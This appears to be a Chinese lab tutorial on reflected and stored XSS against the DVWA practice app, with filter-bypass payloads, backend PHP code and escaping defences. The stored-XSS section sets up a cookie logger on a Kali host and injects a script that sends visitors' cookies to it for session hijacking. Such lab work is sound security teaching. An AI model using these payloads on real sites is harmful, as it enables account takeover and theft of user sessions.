目录
XSS(跨站脚本攻击)
项目实验环境
Metasploitable2-Linux 靶场
OWASP Broken Web Apps VM v1.2 靶场
Kali-Linux-2020.1-vmware-amd64 攻击机
1.XSS简介
跨站脚本( cross site script )为了避免与样式css(Cascading Style Sheets层叠样式表)混淆,所以简称为XSS。
XSS是一种经常出现在web应用中的计算机安全漏洞 ,也是web中最主流的攻击方式。
1.1什么是XSS?
XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去。使别的用户访问都会执行相应的嵌入代码。
从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
XSS主要原因:
过于信任客户端提交的数据!
1.2 XSS攻击的危害包括:
1、盗取各类用户帐号,如机器登录帐号、用户网银帐号,各类管理员帐号
2、控制企业数据,包括读取、篡改,添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者机器向其它网站发起攻击
2. 分类
2.1反射型
反射型xss攻击( Reflected XSS)又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻
击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接( 即每次攻击需要用户的点击)。
2.2存储型
存储型XSS (Stored XSS)又称为持久型跨站点脚本,它一般发生在XSS攻击向量 (一般指XSS攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的XSS相比非持久性XSS攻击危害性更大,因为每当用户打开页面,查看内容时脚本将自动执行。谷歌的orkut 曾经就遭受到XSS。
两种类型实现的结果完全相同,不同的是前者需要点击,后者存在于网页的数据库内
3. 构造XSS脚本
3.1常用HTML标签
<iframe> 创建包含另一个文档的内联框架
<textarea> 这个标签定义多行的文本输入控件
<img> 向网页中嵌入一副图像
<scirpt> 这个标签用于定义客户端脚本,比如JavaScript 这个标签既可以包含脚本语句,也可以通过src属性指向外部的脚本文件。必须的type属性规定脚本的MIME类型 JavaScript 的常见应用是图像操作、表单验证及动态内容更新。
3.2常用javascript方法
alert alert()方法用于显示带有一条指定消息和一个确认按钮的警告框
window.location window.location对象用于获得当前页面的地址(URL) ,并把浏览器重定向到新的页面
location.href 返回当前显示的文档的完整URL
onload 一张页面或一幅图像完成加载
onsubmit 确认按钮被点击
onerror 在加载文档或图像时发生错误
4.反射型(四种安全级别演示)
4.4.1低安全级别
查看网页的后端代码,只要输入的字符不是空字符、NULL,那就直接打印Hello加输入的内容
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
测试一下
测试是否可以XSS攻击(注意这步及其关键,无论是反射型还是存储型都要先进性XSS的测试)
在输入框输入<script>alert('XSS')</script>,弹出窗口,可见存在XSS漏洞
那么,接下来就肆意妄为的爆破吧,首先拿到此页面的cookie,这里注意一下,攻击者直接通过一些方式(社会工学)让受害者点击一个链接,这个链接就会拿到受害者在这个页面的cookie,下图拿到的cookie只是简单的测试一下XSS的漏洞威胁
获取当前页面的cookie
<script>alert(document.cookie)</script>
security=low;PHPSESSID=49acb6ca0a588a3176e77b602a36fce3
将拿到的这个cookie就可以以这个用户的名义去登录网页
测试:
换一个浏览器 使用获得的cookie去登录,可见无需用户名与密码,直接登录上来了
4.4.2 中安全级别
这次先不去直接查看后端的代码,正常情况下是不能看到后端代码的(废话),这时候就要发挥想象力了,如果你觉得有些费力,且不妨看看我是怎么思考的
分析:
首先,还是先测试一下这个网页有没有XSS漏洞,此时并没有弹窗,下面的输出是<script>中的内容,可以初步推断出来,后端可能把<script>给“过滤“了,再次测试,发现确实是这样
解决:
在SQL注入中,对于被过滤的关键词可以采用以下这几种方法,这里相同
- 大小写
- 转义
- 内嵌
- 替换
大小写,可见更改大小写后<script>中的内容被执行了
<Script>alert('XSS')</Script>
内嵌
<sc<script>ript>alert('xss')</script>
替换,即使用其他标签来替换<script>标签
<img src="#" οnerrοr=alert('XSS')>
现在来查看以下后台的代码,可以看到其确实是把<script>标签替换成了空字符
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
4.4.2 高安全级别
来到高安全级别后,首先不要慌,他无非就是对某些字符做了一些更强的过滤而已,找对方法,还是可以实施攻击的,永远牢记,没有绝对的安全
如下可见,对于大小写,内嵌都不能进行XSS的注入,但是替换标签就可以了,是不是很简单~
此时,查看网页的后台代码,可见确实采用的是更强的字符过滤,但是对于替换他并没有设计,让我们看看impossibl难度下会不会对替换也做出过滤
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
4.4.2 不可能安全级别
到这里,不多bb,直接替换,可见,无论输入的是什么都被当做成了字符串输出了,并没有执行标签的内容
查看后台代码可以看出,使用了php htmlspecialchars()函数
在php中,htmlspecialchars()函数是使用来把一些预定义的字符转换为HTML实体,返回转换后的新字符串,原字符串不变。如果 string 包含无效的编码,则返回一个空的字符串,除非设置了 ENT_IGNORE 或者 ENT_SUBSTITUTE 标志;
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
说明:XSS攻击的核心就是靠HTML<script>标签或元素属性来执行Javascript脚本。
而 htmlspecialchars 则可以转转义 <> 这样就无法通过script标签攻击。同时又可以过滤掉双引号,单引号(需要另外加个参数),阻止靠元素属性来触发事件执行脚本
参数解释
$str = htmlspecialchars(string,flags,character-set,double_encode);
参数说明
string:规定要转换的字符串
flags :可选参数,规定如何处理引号、无效的编码以及使用哪种文档类型
可用的引号类型:
ENT_COMPAT:默认。仅编码双引号。ENT_QUOTES:编码双引号和单引号。ENT_NOQUOTES:不编码任何引号。
无效的编码:
ENT_IGNORE:忽略无效的编码,而不是让函数返回一个空的字符串。应尽量避免,因为这可能对安全性有影响。
ENT_SUBSTITUTE: 把无效的编码替代成一个指定的带有 Unicode 替代字符 U+FFFD(UTF-8)或者 &#FFFD; 的字符,而不是返回一个空的字符串
ENT_DISALLOWED: 把指定文档类型中的无效代码点替代成 Unicode 替代字符 U+FFFD(UTF-8)或者 &#FFFD;。
5.存储型(四种安全级别演示)
以下采用靶场时OWASP 攻击机是Kali
分析:
存储型的XSS漏洞威胁更大,即不需要用户做出点击链接的动作,直接写死在数据库内,当用户进入含有存储型XSS漏洞的页面时,根据攻击者制定的策略,来截获受害者的个人信息
5.1低安全级别
攻击者登录到这个页面后,在类似于留言板的地方,注入XSS攻击代码,这样所有的其他用户只要点击到这个位置就会执行XSS的代码
使用另一个浏览器登录user用户,一旦点击到XSS stored后,就会弹出窗口,这样的攻击方式,简单高效,不必通过一些社工诱导用户点击某个链接,而是直接中招
下面将通过注入XSS漏洞获取受害主机的cookie,并将其发送到一个主机上(Kali)
详细步骤:
1.构建收集cookie服务器 这里使用的是KALI
2.构造XSS代码并植入到Web服务器
3.等待肉鸡触发XSS代码,其cookie就会被发送到Kali
4.Cookie利用 根据sqlmap来爆库,表,数据等
详细演示:
第一步:在 KALI打开 http服务,创建用于存放cookie的文件
root@kali:~# systemctl start apache2
root@kali:~# vim /var/www/html/cookie.php
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt","w");
fwrite($log,$cookie."\n");
fclose($log);
?>
第二步:在页面内注入XSS的存储型漏洞
<script>window.open('http://192.168.211.130/cookie.php?cookie='+document.cookie)</script>
注:192.168.211.130为kali的IP
先清除之前植入的XSS代码
这里由于前端的页面对输入框有字数限制,这里先改大一些
一旦注入,就会跳转至Kali的cookie.php页面用于收集用户的cookie值
第三步:肉鸡点击被植入了XSS代码的页面就将自己的cookie提交给了KALI,注意,对于弹出的窗口,要允许其弹出,要不然不会提交自己的cookie
一旦允许,就会将自己的cookie上传给Kali的/var/www/html/cookie.txt内
此时 ,KALI就会生成一个存储cookie的文件,其内容存储的就是user用户的本地cookie
验证,可见与Kali获取的cookie是一致的
然后呢,你都拿到cookie了,接下来就肆意妄为吧
查看低安全级别的后台代码
<?php
if(isset($_POST['btnSign']))
{
$message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']);
// Sanitize message input
$message = stripslashes($message);
$message = mysql_real_escape_string($message);
// Sanitize name input
$name = mysql_real_escape_string($name);
$query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
$result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );
}
?>
可见,使用POST提交了name与message,然后对dvwa库的guesbook表进行插入数据,从这里可以看出,确实是写死在了数据库中,更能理解XSS的存储型漏洞的详细了。在这个安全级别下无任何的防御措施,任人注入漏别
登录到后台的数据库中验证,可见,与预期相符
5.2 中安全级别
直接使用最简单的弹窗类进行测试,可见其是将<script>标签给过滤了,解决办法与XSS的反射型的安全级别一致,大小写或替换,或内嵌都是可以的
测试发现,大小写,内嵌、替换都没有用,其实后台是将<>给转义了,这样无论使用<script>还是<img>标签都没有用
查看页面后台代码
<?php
if(isset($_POST['btnSign']))
{
$message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']);
// Sanitize message input
$message = trim(strip_tags(addslashes($message)));
$message = mysql_real_escape_string($message);
$message = htmlspecialchars($message);
// Sanitize name input
$name = str_replace('<script>', '', $name);
$name = mysql_real_escape_string($name);
$query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
$result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );
}
?>
查看页面的后台数据库,可见确实是对<>做了转换